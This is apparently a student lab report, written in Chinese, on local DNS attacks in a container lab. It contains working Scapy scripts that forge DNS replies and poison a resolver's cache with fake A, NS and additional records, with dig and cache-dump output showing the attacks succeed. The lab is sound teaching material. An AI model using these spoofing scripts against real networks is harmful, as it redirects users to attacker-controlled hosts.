Local DNS Attack

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Testing the DNS Setup

Get the IP address of ns.attacker32.com

测试 DNS 配置是否正确,首先使用 dig 命令查询 ns.attacker32.com 的地址: root@19f346a87a82:/# dig ns.attacker32.com

```
; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51068
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1e66f202145240390100000060f882eb381317e433291255 (good)
;; QUESTION SECTION:
;ns.attacker32.com.
                                IN
;; ANSWER SECTION:
                                        Α
ns.attacker32.com.
                       259200 IN
                                                10.9.0.153
;; Query time: 12 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 20:26:19 UTC 2021
;; MSG SIZE rcvd: 90
```

记录显示域名指向的 ip 地址为 10.9.0.153。查看攻击者域名服务器上的设置文件:

\$TTL 3	3D		
@	IN	SOA 2008 8H 2H 4W 1D)	ns.attacker32.com. admin.attacker32.com. (111001
@	IN	NS	ns.attacker32.com.
@	IN	Α	10.9.0.180
WWW	IN	Α	10.9.0.180
ns	IN	Α	10.9.0.153
*	IN	Α	10.9.0.100

发现记录中的 ip 地址与文件中一致,说明设置没有问题。

Get the IP address of www.example.com

```
执行 dig www.example.com 命令,输出结果如下:
root@19f346a87a82:/# dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21273
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c2434df171c8c9870100000060f883a69662de06f5e2b748 (good)
;; QUESTION SECTION:
;www.example.com.
                                IN
                                        A
;; ANSWER SECTION:
www.example.com.
                        86400
                                IN A
                                                93.184.216.34
;; Query time: 3187 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 20:29:26 UTC 2021
;; MSG SIZE rcvd: 88
执行 dig @ns.attacker32.com www.example.com 命令,输出结果如下:
root@19f346a87a82:/# dig @ns.attacker32.com www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5564
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3b6a7fad6c34980a0100000060f88436b8f3943df6625673 (good)
;; QUESTION SECTION:
;www.example.com.
                              IN
;; ANSWER SECTION:
                       259200 IN A
www.example.com.
                                              1.2.3.5
;; Query time: 4 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Wed Jul 21 20:31:50 UTC 2021
;; MSG SIZE rcvd: 88
```

可见两个命令得到的 ip 地址不同,第一个命令直接从官方域名服务器获取信息,而第二个是从攻击者得到了假的结果。


Task 1: Directly Spoofing Response to User

task1 的目的是捕获用户发出的 DNS 请求,然后返回一个假的 DNS 响应,只要伪造的 DNS 响应在真的 DNS 响应到达用户主机前到达,用户就会接受伪造信息。

首先我们在攻击主机上查看 10.9.0.0/24 网段的端口名称,补充代码时会用到:

```
root@VM:/volumes# ifconfig
br-19c63e16d91f: flags=4099<UP, BROADCAST, MULTICAST> mtu 1500
       inet 192.168.60.1 netmask 255.255.255.0 broadcast 192.168.60.255
       ether 02:42:06:8b:87:19 txqueuelen 0 (Ethernet)
       RX packets 0 bytes 0 (0.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 0 bytes 0 (0.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
br-59745d611eb1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 10.9.0.1 netmask 255.255.255.0 broadcast 10.9.0.255
       inet6 fe80::42:38ff:fe0c:da77 prefixlen 64 scopeid 0x20<link>
       ether 02:42:38:0c:da:77 txqueuelen 0 (Ethernet)
       RX packets 20 bytes 940 (940.0 B)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 45 bytes 6117 (6.1 KB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

代码如下:



我们将源 IP 地址和目的 ip 地址、源端口和目的端口反过来,然后构造 DNS 包,就成了 DNS 响应报文,将其发送给用户主机,用户就会接受我们伪造的 DNS 信息。

由于容器存在的一些问题,为防止真正的 DNS 响应比我们伪造的 DNS 响应先到达用户,我们在路由器上增加输出网络流量的延迟,连接外部网络的端口为

eth0, 所以我们增加 eth0 端口上的网络延迟: root@269bc6d5211b:/# ifconfig eth0: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500 inet 10.8.0.11 netmask 255.255.255.0 broadcast 10.8.0.255 ether 02:42:0a:08:00:0b txqueuelen 0 (Ethernet) RX packets 169 bytes 37999 (37.9 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 107 bytes 8436 (8.4 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 root@269bc6d5211b:/# tc qdisc add dev eth0 root netem delay 100ms root@269bc6d5211b:/# tc qdisc show dev eth0 qdisc netem 8001: root refcnt 2 limit 1000 delay 100.0ms 攻击前用户查询 www.example.com 的 DNS 信息: root@19f346a87a82:/# dig www.example.com ; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64395 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 : C00KIE: f4d72b9152ba8b770100000060f888e9b421b0de1c676d02 (good) ;; QUESTION SECTION: IN ;www.example.com. A ;; ANSWER SECTION: www.example.com. 85053 IN A 93.184.216.34 ;; Query time: 4 msec ;; SERVER: 10.9.0.53#53(10.9.0.53) ;; WHEN: Wed Jul 21 20:51:53 UTC 2021 ;; MSG SIZE rcvd: 88 在本地域名服务器上清除缓存(每次攻击前都要清除缓存,后面不再说明): root@fe05af4902bf:/# rndc flush

root@fe05af4902bf:/#

root@19f346a87a82:/# dig www.example.com ; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12931 ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;www.example.com. IN A ;; ANSWER SECTION: Α 10.0.2.5 www.example.com. 259200 IN ;; Query time: 75 msec ;; SERVER: 10.9.0.53#53(10.9.0.53) ;; WHEN: Wed Jul 21 20:54:52 UTC 2021 ;; MSG SIZE rcvd: 64 关闭攻击程序后,再次 dig www.example.com,输出部分结果如下: root@19f346a87a82:/# dig www.example.com ; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48614 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ; C00KIE: 96f51de84318cff30100000060f889bb7567f6a1f4956739 (good) ;; QUESTION SECTION: ;www.example.com. IN A ;; ANSWER SECTION: www.example.com. 86375 IN A 93.184.216.34 ;; Query time: 0 msec ;; SERVER: 10.9.0.53#53(10.9.0.53) ;; WHEN: Wed Jul 21 20:55:23 UTC 2021 ;; MSG SIZE rcvd: 88

执行攻击程序,攻击时查询到的 DNS 信息:

可以发现攻击后 example.com 指向的 ip 地址发生了变化,但是停止攻击后再次执行 dig 命令发现 ip 又恢复了。

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

为了达到持久的效果,每次用户的机器发出对 www.example.com 的 DNS 查询时,攻击者的机器都必须发出欺骗的 DNS 响应,效率不高。因此在 task2 中我们不对用户发送伪造 DNS 响应,而是伪造其他域名服务器发送给本地域名服务器的 DNS 响应,这样伪造的信息将会在本地服务器的缓存中保存一段时间,使得攻击者只要发送一次伪造响应,在缓存信息过期之前都有攻击效果。

与 task1 的代码类似,我们只需更改过滤器,原本为捕获用户发往本地域名服务器的udp报文,现在为捕获本地域名服务器发往其他域名服务器的udp报文。代码如下:

```
task2.py
ecurity/Local DNS Attack Lab/Labsetup/volumes
 Open ▼ 🕕
                                                             Save ≡ _ □
                     ~/Desktop/Labs_20.04/Network Security/Lo
 1#!/usr/bin/env python3
 2 from scapy.all import *
 3 def spoof_dns(pkt):
 4 if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
     IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
     UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
     Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
  rdata='10.0.2.5')
     # Construct the DNS packet
     DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
  qdcount=1, ancount=1, nscount=0, arcount=0, an=Anssec)
     spoofpkt = IPpkt/UDPpkt/DNSpkt
   send(spoofpkt)
13 f = 'udp and dst port 53'
14 pkt = sniff(iface='br-59745d611ebl', filter=f, prn=spoof dns)
执行攻击时输出如下:
root@19f346a87a82:/# dig www.example.com
; <>>> DiG 9.16.1-Ubuntu <>>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33308
;; flags: gr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;www.example.com.
                                   IN
;; ANSWER SECTION:
                                           Α
                                                     10.0.2.5
www.example.com.
                          259200 IN
;; Query time: 87 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 21:06:27 UTC 2021
;; MSG SIZE rcvd: 64
```

停止攻击后输出如下:

```
root@19f346a87a82:/# dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6361
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; C00KIE: 069a18e5c7190e2a0100000060f88c6c64153c16c236914a (good)
;; QUESTION SECTION:
;www.example.com.
                               IN
;; ANSWER SECTION:
www.example.com.
                       259178 IN
                                       A
                                               10.0.2.5
;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 21:06:52 UTC 2021
;; MSG SIZE rcvd: 88
可以发现现在执行一次攻击后依旧能维持攻击效果。
查看本地域名服务器的缓存可以看到伪造的 DNS 信息已经储存在缓存中了。
root@fe05af4902bf:/# cd var
root@fe05af4902bf:/var# cd cache
root@fe05af4902bf:/var/cache# cd bind
root@fe05af4902bf:/var/cache/bind# rndc dumpdb -cache
root@fe05af4902bf:/var/cache/bind# cat /var/cache/bind/dump.db|grep example
.example.com.
                     863888 A
                                   10.0.2.5
                     863888 A
www.example.com.
                                   10.0.2.5
root@fe05af4902bf:/var/cache/bind#
```

Task 3: Spoofing NS Records

说明 DNS 缓存中毒攻击成功。

在前面的任务中,我们的 DNS 缓存中毒攻击只影响一个主机名,即www.example.com。 如果用户试图获得另一个主机名的 IP 地址,例如 mail.example.com,我们需要再次发起攻击。为提高效率,一次攻击可以影响整个域,我们增加一条 NS 记录,当其保存在缓存中时,ns.attacker32.com将被用作名称服务器,以便将来查询example.com域中的任何主机名。

代码如下:

```
task3.py
curitv/Local DNS Attack Lab/Labsetup/vol
 Open ▼ 🗐
                                                                 Save ≡ _ =
 1#!/usr/bin/env python3
 2 from scapy.all import *
 3 def spoof dns(pkt):
 4 if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')):
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.5')
    NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
     # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
 ancount=1, nscount=1, arcount=0,an=Anssec,ns=NSsec1)
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)
13 f = 'udp and dst port 53'
14 pkt = sniff(iface='br-59745d611eb1', filter=f, prn=spoof dns)
代码中增加了一条 NS 记录内容, nscount=1, 让 example. net 域名下的地址都
指向 ns. attacker 32. com 域名。
执行程序,查询 example.com 的信息,结果如下:
root@19f346a87a82:/# dig www.example.com
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27873
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;www.example.com.
                                     IN
                                              A
;; ANSWER SECTION:
www.example.com.
                            259200
                                     IN
                                              A
                                                        10.0.2.5
;; AUTHORITY SECTION:
                            259200 IN
                                                        ns.attacker32.com.
example.com.
                                              NS
;; Query time: 79 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 21:25:37 UTC 2021
;; MSG SIZE rcvd: 106
发现该地址指向 ns. attacker 32. com 域名。
```

然后我们停止攻击程序,查询同一域名不同主机名的信息,这里我们查询

```
songyufan.example.com 的 DNS 信息:
root@19f346a87a82:/# dig songyufan.example.com
; <>>> DiG 9.16.1-Ubuntu <>>> songyufan.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55288
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
:: OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; C00KIE: 2136568bd9ab10e50100000060f890f20efe8f9dc612992e (good)
;; QUESTION SECTION:
                                IN
;songyufan.example.com.
                                        A
;; ANSWER SECTION:
songyufan.example.com.
                       259200 IN
                                        A
                                                1.2.3.6
;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 21:26:10 UTC 2021
;; MSG SIZE rcvd: 94
```

发现该地址指向 1.2.3.6。与 zone_example.com 文件中一致,如下:

Open ▼	F	~/Deskto	zone_example.com op/Labs_20.04/Network Security/Loc DNS Attack Lab/Labsetup/image_attacker_ns	Save			
1 \$TTL 3D							
2 @ 3 4 5 6 7	IN	SOA 2008 8H 2H 4W 1D)	ns.example.com. admin.example.com. 111001	(
8 9@ 10	IN	NS	ns.attacker32.com.				
11@	IN	A	1.2.3.4				
12 www	IN	Α	1.2.3.5				
13 ns	IN	Α	10.9.0.153				
14 *	IN	Α	1.2.3.6				

说明该地址是攻击者伪造的内容。

查看缓存:

```
root@fe05af4902bf:/var/cache/bind# cat /var/cache/bind/dump.db|grep example example.com. 863749 NS ns.attacker32.com.
_.example.com. 863749 A 10.0.2.5
songyufan.example.com. 863780 A 1.2.3.6
www.example.com. 863749 A 1.2.3.5
```

发现 NS 记录也在缓存中,说明攻击成功。

Task 4: Spoofing NS Records for Another Domain

与 task3 类似,增加一条 NS 记录,故 nscount=2,让 google.com 域名下的地

址都指向 ns. attacker32. com 域名,代码如下:

```
task4.py
  Open ▼ 🗐
                                                            Save ≡
                  task4.py
                                                        task3.py
  1#!/usr/bin/env python3
  2 from scapy.all import *
  3 def spoof dns(pkt):
    if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')
      IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
      UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
      Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
   rdata='10.0.2.5')
      NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200,
   rdata='ns.attacker32.com')
      NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200,
   rdata='ns.attacker32.com')
      # Construct the DNS packet
 10
      DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
 11
   qdcount=1, ancount=1, nscount=2, arcount=0,an=Anssec,ns=NSsec1/NSsec2)
      spoofpkt = IPpkt/UDPpkt/DNSpkt
      send(spoofpkt)
14 f = 'udp and dst port 53'
15 pkt = sniff(iface='br-59745d611eb1', filter=f, prn=spoof dns)
执行程序,查询 example.com:
root@19f346a87a82:/# dig example.com
; <>>> DiG 9.16.1-Ubuntu <>>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64198
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 0
;; QUESTION SECTION:
;example.com.
                                 IN
;; ANSWER SECTION:
example.com.
                         259200 IN
                                          Α
                                                  10.0.2.5
;; AUTHORITY SECTION:
                                          NS
                                                  ns.attacker32.com.
example.com.
                         259200 IN
                         259200 IN
                                          NS
google.com.
                                                  ns.attacker32.com.
;; Query time: 75 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 21:44:24 UTC 2021
;; MSG SIZE rcvd: 139
```

发现增加了一条权威字段记录。查看缓存:

```
root@fe05af4902bf:/var/cache/bind# rndc flush
root@fe05af4902bf:/var/cache/bind# rndc dumpdb -cache
root@fe05af4902bf:/var/cache/bind# cat /var/cache/bind/dump.db|grep -e exam
ple -e google
example.com. 863993 NS ns.attacker32.com.
```

发现缓存中只有 example.com 的 NS 记录,但是我们代码中是设置了两条 NS 记录的:

```
NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200,
rdata='ns.attacker32.com')
   NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200,
rdata='ns.attacker32.com')
```

把代码中这两条换下顺序,如下图:

```
NSsec1 = DNSRR(rrname='google.com', type='NS',ttl=259200,
rdata='ns.attacker32.com')
   NSsec2 = DNSRR(rrname='example.com', type='NS',ttl=259200,
rdata='ns.attacker32.com')
```

然后再次执行 dig example.com 命令,发现还是只有一条 NS 记录,但是这次换成另一条 NS 记录了:

```
root@fe05af4902bf:/var/cache/bind# rndc flush
root@fe05af4902bf:/var/cache/bind# rndc dumpdb -cache
root@fe05af4902bf:/var/cache/bind# cat /var/cache/bind/dump.db|grep -e exam
ple -e google
example.com. 863997 A 10.0.2.5
google.com. 863997 NS ns.attacker32.com.
```

所以推测缓存可能只会保存一条权威字段的 NS 记录,而且保存是排在前面的那条记录即 NSsec1。

Task 5: Spoofing Records in the Additional Section

代码中添加三条附加字段的内容, arcount=3, 代码如下:

```
task5.py
curity/Local DNS Attack Lab/Labsetup/volumes
 Open ▼ F
                                                             Save ≡ _
                     ~/Desktop/Labs_20.04/Network Security/Li
 1#!/usr/bin/env python3
 2 from scapy.all import *
 3 def spoof dns(pkt):
 4 if (DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8'))
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
 6 UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
   Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200,
  rdata='10.0.2.5')
 8 NSsec1 = DNSRR(rrname='example.com', type='NS',ttl=259200,
  rdata='ns.attacker32.com')
 9 NSsec2 = DNSRR(rrname='example.com', type='NS',ttl=259200,
  rdata='ns.example.com')
10 Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200,
  rdata='1.2.3.4')
11 Addsec2 = DNSRR(rrname='ns.example.com', type='A',ttl=259200,
  rdata='5.6.7.8')
12 Addsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200,
  rdata='3.4.5.6')
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
  qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec,ns=NSsec1/-
  NSsec2, ar=Addsec1/Addsec2/ Addsec3)
14 spoofpkt = IPpkt/UDPpkt/DNSpkt
15 send(spoofpkt)
16 f = 'udp and dst port 53'
17 pkt = sniff(iface='br-59745d611ebl', filter=f, prn=spoof dns)
执行程序, dig 输出如下:
root@19f346a87a82:/# dig example.com
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64222
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3
;; QUESTION SECTION:
                                   IN
;example.com.
                                           A
;; ANSWER SECTION:
example.com.
                          259200
                                  IN
                                           A
                                                    10.0.2.5
;; AUTHORITY SECTION:
                                  IN
                                           NS
example.com.
                          259200
                                                    ns.attacker32.com.
                                                    ns.example.com.
example.com.
                          259200
                                  IN
                                           NS
;; ADDITIONAL SECTION:
ns.attacker32.com.
                          259200
                                  IN
                                           Α
                                                    1.2.3.4
ns.example.com.
                          259200
                                  IN
                                           A
                                                    5.6.7.8
www.facebook.com.
                          259200 IN
                                           A
                                                    3.4.5.6
;; Query time: 87 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed Jul 21 22:01:43 UTC 2021
;; MSG SIZE rcvd: 232
```

查看缓存如下:

发现在缓存中,只有 attack32.com 和 ns.example.net 的缓存,而 www.facebook.com 的记录不会被缓存,这是由于附加字段 additional 中的记录只有与权威字段 authority 中条目相关,才会将其存入到 dns 的缓存中。